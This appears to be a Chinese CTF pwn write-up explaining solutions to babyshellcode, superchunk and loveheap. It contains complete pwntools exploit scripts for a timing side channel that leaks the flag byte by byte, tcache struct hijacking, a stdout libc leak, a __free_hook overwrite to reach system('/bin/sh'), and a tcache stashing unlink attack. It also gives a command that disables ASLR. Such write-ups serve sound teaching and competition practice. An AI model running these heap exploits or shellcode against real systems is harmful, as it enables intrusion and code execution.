先简单记录一下,明天还有bytectf,有时间了再好好复盘一下,arm pwn都没时间看。
babyshellcode 侥幸一血
程序分析 程序逻辑很简单,考点也清晰,就是orw然后侧信道爆破flag。没见过这种就很难想到,今年的蓝帽杯,强网杯都出过这个考点。有个注意的点就是这个read限制了大小,得绕一下。
利用思路 先写一段shellcode,read更多的字节,这样就可以把我们所有orw的shellcode写进去。由于程序开了沙箱,我们没法直接把flag打印出来。
方法1:用cmp byte ptr[rsi+{0}],{1};jz $-3;ret
去判断内存中的flag值跟我们输入的值是否相等,若判断成功,就往跳转到它的上一条地址处执行,一直循环,这时候就可以通过p.recvline(timeout=1)
看程序是否超时,如果超时则表明flag匹配成功。结束,接着爆破flag的第二位,以此往复。(这种可以是可以但是爆破太慢了)
方法2:不用jz
指令了,换成ja
指令二分法爆破
调试过程 绕过read大小限制
我在第一段read的时候又写了一段read的shellcode,read执行完下一跳指令地址是0x10015,所以把read的第二个参数设置成0x10015,第三个参数尽量大一点,那么就可以通过我们自己设置的read把shellcode写进去。
pwntools自带的shellcraft就可完成
1 p.send(asm(shellcraft.read(0 , 0x10015 , 0x100 )))
侧信道爆破flag
肯定是要先打开文件然后才能读内容,所以第一部分shellcode肯定是open系统调用
那现在就是读呗,方便起见就把flag读到栈上好了
1 2 3 4 5 6 7 orw_payload = ''' mov rdi, rax xor rax, rax mov rsi, rsp mov rdx, 0x100 syscall '''
下面部分就是重点了,read的第二个参数是rsi也就是存放了flag的地址,mov al, byte ptr [rsi]
可以将flag的第一位放到al中,接着cmp al, 0x3f
,如果flag的值大于0x3f就让程序跳转到比较的代码块中,也就是形成了一个死循环,下图是gdb调试的实例。设定一个超时异常处理就可以捕捉到这种死循环,接着下一个判断的就拿(0x3f+1+127)//2去跟flag的值做判断,了解过数据结构的二分查找就很容易理解,不多赘述了。一分多钟flag就跑出来了。
1 2 3 4 5 6 7 8 9 10 11 12 orw_payload += ''' mov rdi, rax xor rax, rax mov rsi, rsp mov rdx, 0x100 syscall loop: mov al, [rsi + %d] cmp al, %d ja loop mov [rax], rax ''' % (i, mid)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import * context.arch = 'amd64' binary = './chall' elf = ELF(binary) libc = elf.libc flag = '' for i in range (0 , 0x30 ): l = 0 r = 127 while l < r: mid = (l + r) >> 1 local = 1 if local: p = process(binary) else : p = remote('106.14.120.231' , 24002 ) orw_payload = shellcraft.open ('flag' ) orw_payload += ''' mov rdi, rax xor rax, rax mov rsi, rsp mov rdx, 0x100 syscall loop: mov al, [rsi + %d] cmp al, %d ja loop mov [rax], rax ''' % (i, mid) p.send(asm(shellcraft.read(0 , 0x10015 , 0x100 ))) p.send(asm(orw_payload)) st = time.time() try : while True : cur = p.recv(timeout=0.05 ) if time.time() - st > 1 : l = mid + 1 break except EOFError: r = mid p.close() flag += chr (l) print flag
superchunk 脸黑,爆了我半个多小时才出,侥幸一血
程序分析 程序分析起来几乎没有任何压力,libc2.27的uaf,没有show(io_stdout来泄露libc),只能操作当前堆块(劫持tcache struct),和今年国赛的lonelywolf十分相似。
利用思路 先劫持tcache struct,没有show函数就没法泄露堆地址了,程序开了PIE,可以爆破4个比特,1/16的概率。
堆块布局如下,把chunk0->fd的低两位字节覆盖掉,2个字节就是4个16进制数,低3位是固定的,还有一个是随机的,需要爆破。
拿到tcache的控制堆块就可以为所欲为了,随便改了,后续操作就是泄露libc,打free_hook。
当然堆风水也需要慢慢调,下面简述一下劫持后的操作
让tcache struct放进unsorted bin里进行切割,切割后会留下unsorted bin的地址,然后再edit低两位字节,因为io_stdout的低3个16进制是固定的,需要爆破一个16进制数,概率1/16,再把stdout申请下来改成p64(0xfbad3887)+p64(0)*3 + p8(0)
就可以泄露libc了。再后面就tcache attack了。
调试过程 调试过程关闭本机的地址随机化,命令:echo 0 > /proc/sys/kernel/randomize_va_space
劫持tcache struct
让tcache链表中有两个chunk,那么其中fd就会指向一个堆地址,这里我是用了double free。
1 2 3 4 add(0x100 ) free() edit('a' *0x10 ) free()
再把chunk0的fd改成指向tcache struct,这样就劫持成功了,申请两次就能控制它了。
libc泄露
我们来逆向思考一下,没有show函数要泄露libc基本就是通过打io_stdout,要把它申请到那么它肯定得在bin里面,最常见的就是tcache bin和unsorted bin,unsorted bin是个双链表不好操作,但他的地址又是个libc中的地址,跟io_stdout十分接近。那么我们就可以构造一种情形,同样大小的一个chunk即在unsorted bin里又在tcache bin里,那么只要同样的操作把低两位字节改成io_stdout的地址是不是就把io_stdout链到tcache bin里了。
操作如下,接着劫持tcache_struct那部分,通过修改tcache_struct把0x250大小的tcache bin的数量改成6,那么再free tcache_struct,他就会进入tcache bin,并且对应的数量为7,再free一次它又进入了unsorted bin。即同一堆块即在tcache bin中又在unsorted bin中。
1 2 3 4 5 6 add(0x100 ) add(0x100 ) edit('\x00' *0x23 + '\x06' ) free() edit('a' *0x10 ) free()
接着再切割一下,是不是就有很多unsorted bin的地址链到tcache bin里了,不过多解释,需要清楚tcache每部分的含义(不知道那你劫持它干啥)。
1 2 3 add(0x80 ) free() add(0x100 )
再申请一个chunk进行编辑,可以发现正好是改的0xc0的tcache bin的fd
1 2 add(0x100 ) edit(p16(0xe760 ))
那把它申请下来不就好了,libc到手,美滋滋
1 2 3 4 5 6 add(0xb0 ) edit(p64(0xfbad3887 )+p64(0 )*3 + p8(0 )) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , '\x00' )) - 0x3ed8b0 success('libc_base -> {}' .format (hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ]
后面就简单了,把备胎 堆块申请下来,接着改tcache_struct,把free_hook链上去
1 edit('\x03' + b'\x00' *0x3f + p64(free_hook))
最后就一把梭了,不放图了。
exp 本地调试版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import * context.log_level = 'debug' binary = './superchunk' local = 1 if local: p = process(binary) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' )else : p = remote('106.14.120.231' , 26744 ) libc = ELF('libc-2.27.so' ) elf = ELF(binary)def add (size ): p.sendlineafter('choice: ' , '1' ) p.sendlineafter('Size: ' , str (size))def edit (content ): p.sendlineafter('choice: ' , '2' ) p.sendafter('Content: ' , content)def free (): p.sendlineafter('choice: ' , '4' ) gdb.attach(p) add(0x100 ) free() edit('a' *0x10 ) free() edit(p16(0x3010 )) add(0x100 ) add(0x100 ) edit('\x00' *0x23 + '\x06' ) free() edit('a' *0x10 ) free() add(0x80 ) free() add(0x100 ) edit(p16(0xe760 )) add(0xb0 ) edit(p64(0xfbad3887 )+p64(0 )*3 + p8(0 )) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , '\x00' )) - 0x3ed8b0 success('libc_base -> {}' .format (hex (libc_base))) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] add(0x80 ) edit('\x03' + b'\x00' *0x3f + p64(free_hook)) add(0x10 ) edit(p64(system)) add(0x20 ) edit('/bin/sh\x00' ) free() p.interactive()
远程爆破版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import * context.log_level = 'debug' binary = './superchunk' def add (size ): p.sendlineafter('choice: ' , '1' ) p.sendlineafter('Size: ' , str (size))def edit (content ): p.sendlineafter('choice: ' , '2' ) p.sendafter('Content: ' , content)def free (): p.sendlineafter('choice: ' , '4' )def exp (): add(0x100 ) free() edit('a' *0x10 ) free() edit(p16(0x3010 )) add(0x100 ) add(0x100 ) edit('\x00' *0x23 + '\x06' ) free() edit('a' *0x10 ) free() add(0x80 ) free() add(0x100 ) edit(p16(0xe760 )) add(0xb0 ) edit(p64(0xfbad3887 )+p64(0 )*3 + p8(0 )) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , '\x00' )) - 0x3ed8b0 success('libc_base -> {}' .format (hex (libc_base))) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] add(0x80 ) edit('\x03' + b'\x00' *0x3f + p64(free_hook)) add(0x10 ) edit(p64(system)) add(0x20 ) edit('/bin/sh\x00' ) free() p.interactive()if __name__ == '__main__' : while True : try : local = 1 if local: p = process([binary],env={"LD_PRELOAD" :"./libc-2.27.so" }) libc = ELF('libc-2.27.so' ) else : p = remote('106.14.120.231' , 26118 ) libc = ELF('libc-2.27.so' ) exp() break except : p.close()
loveheap 由于是calloc,所以比赛时候的思路是tcache stashing unlink attack,改global_max_fast,然后打fastbin attack,改malloc_hook为one_gadget。one_gadget试遍了,realloc调栈也试了,没出,可太难受了。
不知道这题的正解是什么,先把我的exp放出来,如果有师傅看到,希望可以指点一下(WeChat ID is verf1sh)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from pwn import * context.log_level = 'debug' binary = './loveheap' elf = ELF(binary) local = 1 if local: p = process(binary) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' )else : p = remote('106.14.120.231' , 25777 ) libc = ELF('libc.so.6' )def add (size ): p.sendlineafter('>>' , '1' ) p.sendlineafter('size\n' , str (size))def free (index ): p.sendlineafter('>>' , '2' ) p.sendlineafter('idx\n' , str (index))def edit (index, content ): p.sendlineafter('>>' , '3' ) p.sendlineafter('idx\n' , str (index)) p.sendafter('content:\n' , content)def show (index ): p.sendlineafter('>>' , '4' ) p.sendlineafter('idx\n' , str (index)) add(0x100 ) add(0x100 ) free(1 ) edit(1 , 'a' *0x10 ) free(1 ) show(1 ) heap_base = u64(p.recv(6 ).ljust(8 , b'\x00' )) & 0xfffffffff000 success('heap_base -> {}' .format (hex (heap_base))) edit(1 , 'a' *0x10 )for i in range (5 ): free(1 ) edit(1 , 'a' *0x10 ) free(0 ) show(0 ) libc_base = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) - 0x70 - libc.sym['__malloc_hook' ] success('libc_base -> {}' .format (hex (libc_base))) free_hook = libc_base + libc.sym['__free_hook' ] malloc_hook = libc_base + libc.sym['__malloc_hook' ] realloc = libc_base + libc.sym['__libc_realloc' ] rtld_global = libc_base + 0x237f68 golbal_max_fast = libc_base + 0x1eeb80 gadget = [0xe6c7e , 0xe6c81 , 0xe6c84 ] one_gadget = libc_base + gadget[0 ] system = libc_base + libc.sym['system' ] add(0x100 ) for i in range (6 ): add(0x88 )for i in range (6 ): free(3 +i) add(0x200 ) add(0x68 ) add(0x200 ) add(0x200 ) for i in range (7 ): free(12 ) edit(12 , 'a' *0x10 ) free(9 ) add(0x170 ) free(11 ) add(0x170 ) add(0x200 ) edit(11 , b'a' *0x178 + p64(0x91 ) + p64(heap_base+0x990 ) + p64(golbal_max_fast-0x10 )) add(0x88 ) for i in range (7 ): free(10 ) edit(10 , b'\x00' *0x10 ) free(10 ) edit(10 , p64(malloc_hook-0x33 )) add(0x68 ) add(0x68 ) edit(18 , b'a' *0x1b + p64(one_gadget) + p64(realloc)) add(0x10 ) p.interactive()
darkdark 不会ret2dlresolve,使用pwntools的模板打了几发,应该是姿势不对,告辞!!!